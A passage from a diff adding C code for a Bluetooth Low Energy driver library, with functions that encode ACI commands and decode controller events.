MSG_OPEN_REMOTE_PIPE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_OPEN_REMOTE_PIPE; + *(buffer + OFFSET_ACI_CMD_T_OPEN_REMOTE_PIPE + OFFSET_ACI_CMD_PARAMS_OPEN_REMOTE_PIPE_T_PIPE_NUMBER) = p_aci_cmd_params_open_remote_pipe->pipe_number; +} + +void acil_encode_cmd_close_remote_pipe(uint8_t *buffer, aci_cmd_params_close_remote_pipe_t *p_aci_cmd_params_close_remote_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CLOSE_REMOTE_PIPE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CLOSE_REMOTE_PIPE; + *(buffer + OFFSET_ACI_CMD_T_CLOSE_REMOTE_PIPE + OFFSET_ACI_CMD_PARAMS_CLOSE_REMOTE_PIPE_T_PIPE_NUMBER) = p_aci_cmd_params_close_remote_pipe->pipe_number; +} + +void acil_encode_cmd_echo_msg(uint8_t *buffer, aci_cmd_params_echo_t *p_cmd_params_echo, uint8_t msg_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_ECHO_MSG_CMD_BASE_LEN + msg_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_ECHO; + memcpy((buffer + OFFSET_ACI_CMD_T_ECHO + OFFSET_ACI_CMD_PARAMS_ECHO_T_ECHO_DATA), &(p_cmd_params_echo->echo_data[0]), msg_size); +} + +void acil_encode_cmd_battery_level(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_BATTERY_LEVEL; +} + +void acil_encode_cmd_temparature(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_GET_TEMPERATURE; +} + +void acil_encode_cmd_read_dynamic_data(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_READ_DYNAMIC_DATA; +} + +void acil_encode_cmd_write_dynamic_data(uint8_t *buffer, uint8_t seq_no, uint8_t* dynamic_data, uint8_t dynamic_data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_WRITE_DYNAMIC_DATA_BASE_LEN + dynamic_data_size; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_WRITE_DYNAMIC_DATA; + *(buffer + OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_SEQ_NO) = seq_no; + memcpy((buffer + OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA), dynamic_data, dynamic_data_size); +} + +void acil_encode_cmd_change_timing_req(uint8_t *buffer, aci_cmd_params_change_timing_t *p_aci_cmd_params_change_timing) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CHANGE_TIMING_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CHANGE_TIMING; + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.min_conn_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.min_conn_interval); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.max_conn_interval >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_LSB) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.max_conn_interval); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_MSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.slave_latency >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_LSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.slave_latency); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_MSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.timeout_mult >> 8); + *(buffer + OFFSET_ACI_CMD_T_CHANGE_TIMING + OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS + OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_LSB ) = (uint8_t)(p_aci_cmd_params_change_timing->conn_params.timeout_mult); +} + +void acil_encode_cmd_set_app_latency(uint8_t *buffer, aci_cmd_params_set_app_latency_t *p_aci_cmd_params_set_app_latency) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_SET_APP_LATENCY_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_APP_LATENCY; + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_MODE) = (uint8_t)( p_aci_cmd_params_set_app_latency->mode); + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_MSB) = (uint8_t)( p_aci_cmd_params_set_app_latency->latency>>8); + *(buffer + OFFSET_ACI_CMD_T_SET_APP_LATENCY + OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_LSB) = (uint8_t)( p_aci_cmd_params_set_app_latency->latency); +} + +void acil_encode_cmd_change_timing_req_GAP_PPCP(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_CHANGE_TIMING_LEN_GAP_PPCP; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_CHANGE_TIMING; +} + + +void acil_encode_cmd_setup(uint8_t *buffer, aci_cmd_params_setup_t *p_aci_cmd_params_setup, uint8_t setup_data_size) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = setup_data_size + MSG_SETUP_CMD_BASE_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SETUP; + memcpy((buffer + OFFSET_ACI_CMD_T_SETUP), &(p_aci_cmd_params_setup->setup_data[0]), setup_data_size); +} + +void acil_encode_cmd_dtm_cmd(uint8_t *buffer, aci_cmd_params_dtm_cmd_t *p_aci_cmd_params_dtm_cmd) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_DTM_CMD; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_DTM_CMD; + *(buffer + OFFSET_ACI_CMD_T_DTM_CMD) = p_aci_cmd_params_dtm_cmd->cmd_msb; + *(buffer + OFFSET_ACI_CMD_T_DTM_CMD + 1) = p_aci_cmd_params_dtm_cmd->cmd_lsb; +} + +void acil_encode_cmd_send_data_ack(uint8_t *buffer, const uint8_t pipe_number ) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_ACK_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA_ACK; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_ACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_ACK_T_PIPE_NUMBER) = pipe_number; +} + +void acil_encode_cmd_send_data_nack(uint8_t *buffer, const uint8_t pipe_number, const uint8_t err_code ) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_NACK_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SEND_DATA_NACK; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_NACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_PIPE_NUMBER) = pipe_number; + *(buffer + OFFSET_ACI_CMD_T_SEND_DATA_NACK + OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_ERROR_CODE) = err_code; +} + +void acil_encode_cmd_bond_security_request(uint8_t *buffer) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = 1; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BOND_SECURITY_REQUEST; +} + +void acil_encode_cmd_broadcast(uint8_t *buffer, aci_cmd_params_broadcast_t * p_aci_cmd_params_broadcast) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_BROADCAST_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_BROADCAST; + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_LSB) = (p_aci_cmd_params_broadcast->timeout & 0xff); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_MSB) = (uint8_t)(p_aci_cmd_params_broadcast->timeout >> 8); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_LSB) = (p_aci_cmd_params_broadcast->adv_interval & 0xff); + *(buffer + OFFSET_ACI_CMD_T_BROADCAST + OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_MSB) = (uint8_t)(p_aci_cmd_params_broadcast->adv_interval >> 8); +} + +void acil_encode_cmd_open_adv_pipes(uint8_t *buffer, aci_cmd_params_open_adv_pipe_t * p_aci_cmd_params_open_adv_pipe) +{ + *(buffer + OFFSET_ACI_CMD_T_LEN) = MSG_OPEN_ADV_PIPES_LEN; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_OPEN_ADV_PIPE; + memcpy(buffer + OFFSET_ACI_CMD_T_OPEN_ADV_PIPE + OFFSET_ACI_CMD_PARAMS_OPEN_ADV_PIPE_T_PIPES, p_aci_cmd_params_open_adv_pipe->pipes, 8); +} + + +void acil_encode_cmd_set_key(uint8_t *buffer, aci_cmd_params_set_key_t *p_aci_cmd_params_set_key) +{ + /* + The length of the key is computed based on the type of key transaction. + - Key Reject + - Key type is passkey + */ + uint8_t len; + + switch (p_aci_cmd_params_set_key->key_type) + { + case ACI_KEY_TYPE_INVALID: + len = MSG_SET_KEY_REJECT_LEN; + break; + case ACI_KEY_TYPE_PASSKEY: + len = MSG_SET_KEY_PASSKEY_LEN; + break; + default: + len=0; + break; + } + *(buffer + OFFSET_ACI_CMD_T_LEN) = len; + *(buffer + OFFSET_ACI_CMD_T_CMD_OPCODE) = ACI_CMD_SET_KEY; + *(buffer + OFFSET_ACI_CMD_T_SET_KEY + OFFSET_ACI_CMD_PARAMS_SET_KEY_T_KEY_TYPE) = p_aci_cmd_params_set_key->key_type; + memcpy((buffer + OFFSET_ACI_CMD_T_SET_KEY + OFFSET_ACI_CMD_PARAMS_SET_KEY_T_PASSKEY), (uint8_t * )&(p_aci_cmd_params_set_key->key), len-2);//Reducing 2 for the opcode byte and type +} + +bool acil_encode_cmd(uint8_t *buffer, aci_cmd_t *p_aci_cmd) +{ + bool ret_val = false; + + switch(p_aci_cmd->cmd_opcode) + { + case ACI_CMD_TEST: + acil_encode_cmd_set_test_mode(buffer, &(p_aci_cmd->params.test)); + break; + case ACI_CMD_SLEEP: + acil_encode_cmd_sleep(buffer); + break; + case ACI_CMD_GET_DEVICE_VERSION: + acil_encode_cmd_get_device_version(buffer); + break; + case ACI_CMD_WAKEUP: + acil_encode_cmd_wakeup(buffer); + break; + case ACI_CMD_ECHO: + acil_encode_cmd_echo_msg(buffer, &(p_aci_cmd->params.echo), (p_aci_cmd->len - MSG_ECHO_MSG_CMD_BASE_LEN)); + break; + case ACI_CMD_GET_BATTERY_LEVEL: + acil_encode_cmd_battery_level(buffer); + break; + case ACI_CMD_GET_TEMPERATURE: + acil_encode_cmd_temparature(buffer); + break; + case ACI_CMD_GET_DEVICE_ADDRESS: + acil_encode_cmd_get_address(buffer); + break; + case ACI_CMD_SET_TX_POWER: + acil_encode_cmd_set_radio_tx_power(buffer, &(p_aci_cmd->params.set_tx_power)); + break; + case ACI_CMD_CONNECT: + acil_encode_cmd_connect(buffer, &(p_aci_cmd->params.connect)); + break; + case ACI_CMD_BOND: + acil_encode_cmd_bond(buffer, &(p_aci_cmd->params.bond)); + break; + case ACI_CMD_DISCONNECT: + acil_encode_cmd_disconnect(buffer, &(p_aci_cmd->params.disconnect)); + break; + case ACI_CMD_RADIO_RESET: + acil_encode_baseband_reset(buffer); + break; + case ACI_CMD_CHANGE_TIMING: + acil_encode_cmd_change_timing_req(buffer, &(p_aci_cmd->params.change_timing)); + break; + case ACI_CMD_SETUP: + acil_encode_cmd_setup(buffer, &(p_aci_cmd->params.setup), (p_aci_cmd->len - MSG_SETUP_CMD_BASE_LEN)); + break; + case ACI_CMD_DTM_CMD: + acil_encode_cmd_dtm_cmd(buffer, &(p_aci_cmd->params.dtm_cmd)); + break; + case ACI_CMD_READ_DYNAMIC_DATA: + acil_encode_cmd_read_dynamic_data(buffer); + break; + case ACI_CMD_WRITE_DYNAMIC_DATA: + acil_encode_cmd_write_dynamic_data(buffer, p_aci_cmd->params.write_dynamic_data.seq_no, &(p_aci_cmd->params.write_dynamic_data.dynamic_data[0]), (p_aci_cmd->len - MSG_WRITE_DYNAMIC_DATA_BASE_LEN)); + break; + case ACI_CMD_OPEN_REMOTE_PIPE: + acil_encode_cmd_open_remote_pipe(buffer, &(p_aci_cmd->params.open_remote_pipe)); + break; + case ACI_CMD_SEND_DATA: + acil_encode_cmd_send_data(buffer, &(p_aci_cmd->params.send_data), (p_aci_cmd->len - MSG_SEND_DATA_BASE_LEN)); + break; + case ACI_CMD_SEND_DATA_ACK: + acil_encode_cmd_send_data_ack(buffer, p_aci_cmd->params.send_data_ack.pipe_number ); + break; + case ACI_CMD_REQUEST_DATA: + acil_encode_cmd_request_data(buffer, &(p_aci_cmd->params.request_data)); + break; + case ACI_CMD_SET_LOCAL_DATA: + acil_encode_cmd_set_local_data(buffer, (aci_cmd_params_set_local_data_t *)(&(p_aci_cmd->params.send_data)), (p_aci_cmd->len - MSG_SET_LOCAL_DATA_BASE_LEN)); + break; + case ACI_CMD_BOND_SECURITY_REQUEST: + acil_encode_cmd_bond_security_request(buffer); + break; + default: + break; + } + return ret_val; +} + +void acil_decode_evt_command_response(uint8_t *buffer_in, aci_evt_params_cmd_rsp_t *p_evt_params_cmd_rsp) +{ + aci_evt_cmd_rsp_params_get_device_version_t *p_device_version; + aci_evt_cmd_rsp_params_get_device_address_t *p_device_address; + aci_evt_cmd_rsp_params_get_temperature_t *p_temperature; + aci_evt_cmd_rsp_params_get_battery_level_t *p_batt_lvl; + aci_evt_cmd_rsp_read_dynamic_data_t *p_read_dyn_data; + aci_evt_cmd_rsp_params_dtm_cmd_t *p_dtm_evt; + + p_evt_params_cmd_rsp->cmd_opcode = (aci_cmd_opcode_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_OPCODE); + p_evt_params_cmd_rsp->cmd_status = (aci_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_STATUS); + + switch (p_evt_params_cmd_rsp->cmd_opcode) + { + case ACI_CMD_GET_DEVICE_VERSION: + p_device_version = &(p_evt_params_cmd_rsp->params.get_device_version); + p_device_version->configuration_id = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_LSB); + p_device_version->configuration_id |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_MSB) << 8; + p_device_version->aci_version = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_ACI_VERSION); + p_device_version->setup_format = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_FORMAT); + p_device_version->setup_id = (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB0); + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB1) << 8; + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB0) << 16; + p_device_version->setup_id |= (uint32_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB1) << 24; + p_device_version->setup_status = *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_STATUS); + break; + + case ACI_CMD_GET_DEVICE_ADDRESS: + p_device_address = &(p_evt_params_cmd_rsp->params.get_device_address); + memcpy((uint8_t *)(p_device_address->bd_addr_own), (buffer_in + OFFSET_ACI_EVT_T_CMD_RSP+OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS+OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_OWN), BTLE_DEVICE_ADDRESS_SIZE); + p_device_address->bd_addr_type = (aci_bd_addr_type_t) *(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP+OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS+OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_TYPE); + break; + + case ACI_CMD_GET_TEMPERATURE: + p_temperature = &(p_evt_params_cmd_rsp->params.get_temperature); + p_temperature->temperature_value = (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_LSB); + p_temperature->temperature_value |= (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_MSB) << 8; + break; + + case ACI_CMD_GET_BATTERY_LEVEL: + p_batt_lvl = &(p_evt_params_cmd_rsp->params.get_battery_level); + p_batt_lvl->battery_level = (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_LSB); + p_batt_lvl->battery_level |= (int16_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL + OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_MSB) << 8; + break; + + case ACI_CMD_READ_DYNAMIC_DATA: + p_read_dyn_data = &(p_evt_params_cmd_rsp->params.read_dynamic_data); + p_read_dyn_data->seq_no = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA + OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_SEQ_NO); + memcpy((uint8_t *)(p_read_dyn_data->dynamic_data), (buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA + OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA), ACIL_DECODE_EVT_GET_LENGTH(buffer_in) - 3); // 3 bytes subtracted account for EventCode, CommandOpCode and Status bytes. + // Now that the p_read_dyn_data->dynamic_data will be pointing to memory location with enough space to accommodate upto 27 bytes of dynamic data received. This is because of the padding element in aci_evt_params_cmd_rsp_t + break; + + case ACI_CMD_DTM_CMD: + p_dtm_evt = &(p_evt_params_cmd_rsp->params.dtm_cmd); + p_dtm_evt->evt_msb = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD + OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_MSB); + p_dtm_evt->evt_lsb = (uint8_t)*(buffer_in + OFFSET_ACI_EVT_T_CMD_RSP + OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD + OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_LSB); + break; + } +} + +void acil_decode_evt_device_started(uint8_t *buffer_in, aci_evt_params_device_started_t *p_evt_params_device_started) +{ + p_evt_params_device_started->device_mode = (aci_device_operation_mode_t) *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_DEVICE_MODE); + p_evt_params_device_started->hw_error = (aci_hw_error_t) *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_HW_ERROR); + p_evt_params_device_started->credit_available = *(buffer_in + OFFSET_ACI_EVT_T_DEVICE_STARTED+OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_CREDIT_AVAILABLE); +} + +void acil_decode_evt_pipe_status(uint8_t *buffer_in, aci_evt_params_pipe_status_t *p_aci_evt_params_pipe_status) +{ + memcpy((uint8_t *)p_aci_evt_params_pipe_status->pipes_open_bitmap, (buffer_in + OFFSET_ACI_EVT_T_PIPE_STATUS + OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_OPEN_BITMAP), 8); + memcpy((uint8_t *)p_aci_evt_params_pipe_status->pipes_closed_bitmap, (buffer_in + OFFSET_ACI_EVT_T_PIPE_STATUS + OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_CLOSED_BITMAP), 8); +} + +void acil_decode_evt_disconnected(uint8_t *buffer_in, aci_evt_params_disconnected_t *p_aci_evt_params_disconnected) +{ + p_aci_evt_params_disconnected->aci_status = (aci_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_DISCONNECTED + OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_ACI_STATUS); + p_aci_evt_params_disconnected->btle_status = *(buffer_in + OFFSET_ACI_EVT_T_DISCONNECTED + OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_BTLE_STATUS); +} + +void acil_decode_evt_bond_status(uint8_t *buffer_in, aci_evt_params_bond_status_t *p_aci_evt_params_bond_status) +{ + p_aci_evt_params_bond_status->status_code = (aci_bond_status_code_t)*(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_CODE); + p_aci_evt_params_bond_status->status_source = (aci_bond_status_source_t)*(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_SOURCE); + p_aci_evt_params_bond_status->secmode1_bitmap = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE1_BITMAP); + p_aci_evt_params_bond_status->secmode2_bitmap = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE2_BITMAP); + p_aci_evt_params_bond_status->keys_exchanged_slave = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_SLAVE); + p_aci_evt_params_bond_status->keys_exchanged_master = *(buffer_in + OFFSET_ACI_EVT_T_BOND_STATUS + OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_MASTER); +} + +uint8_t acil_decode_evt_data_received(uint8_t *buffer_in, aci_evt_params_data_received_t *p_evt_params_data_received) +{ + uint8_t size = *( buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_ACI_DATA) + 1 ; + p_evt_params_data_received->rx_data.pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_PIPE_NUMBER); + memcpy((uint8_t *)p_evt_params_data_received->rx_data.aci_data, (buffer_in + OFFSET_ACI_EVT_T_DATA_RECEIVED + OFFSET_ACI_RX_DATA_T_ACI_DATA), size); + return size; +} + +void acil_decode_evt_data_ack(uint8_t *buffer_in, aci_evt_params_data_ack_t *p_evt_params_data_ack) +{ + p_evt_params_data_ack->pipe_number = *(buffer_in + OFFSET_ACI_EVT_T_DATA_ACK + OFFSET_ACI_EVT_PARAMS_DATA_ACK_T_PIPE_NUMBER); +} + +uint8_t acil_decode_evt_hw_error(uint8_t *buffer_in, aci_evt_params_hw_error_t *p_aci_evt_params_hw_error) +{ + uint8_t size = *(buffer_in + OFFSET_ACI_EVT_T_LEN) - (OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME) + 1; + p_aci_evt_params_hw_error->line_num = (uint16_t)(*(buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_MSB)) << 8; + p_aci_evt_params_hw_error->line_num |= (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_LSB); + memcpy((uint8_t *)p_aci_evt_params_hw_error->file_name, (buffer_in + OFFSET_ACI_EVT_T_HW_ERROR + OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME), size); + return size; +} + +void acil_decode_evt_credit(uint8_t *buffer_in, aci_evt_params_data_credit_t *p_evt_params_data_credit) +{ + p_evt_params_data_credit->credit = *(buffer_in + OFFSET_ACI_EVT_T_DATA_CREDIT + OFFSET_ACI_EVT_PARAMS_DATA_CREDIT_T_CREDIT); +} + +void acil_decode_evt_connected(uint8_t *buffer_in, aci_evt_params_connected_t *p_aci_evt_params_connected) +{ + p_aci_evt_params_connected->dev_addr_type = (aci_bd_addr_type_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR_TYPE); + memcpy(&(p_aci_evt_params_connected->dev_addr[0]), (buffer_in + OFFSET_ACI_EVT_T_CONNECTED + OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR), BTLE_DEVICE_ADDRESS_SIZE); + p_aci_evt_params_connected->conn_rf_interval = (uint16_t)*(buffer_in + OFFSET_ACI_EVT_T_CONNECTED + 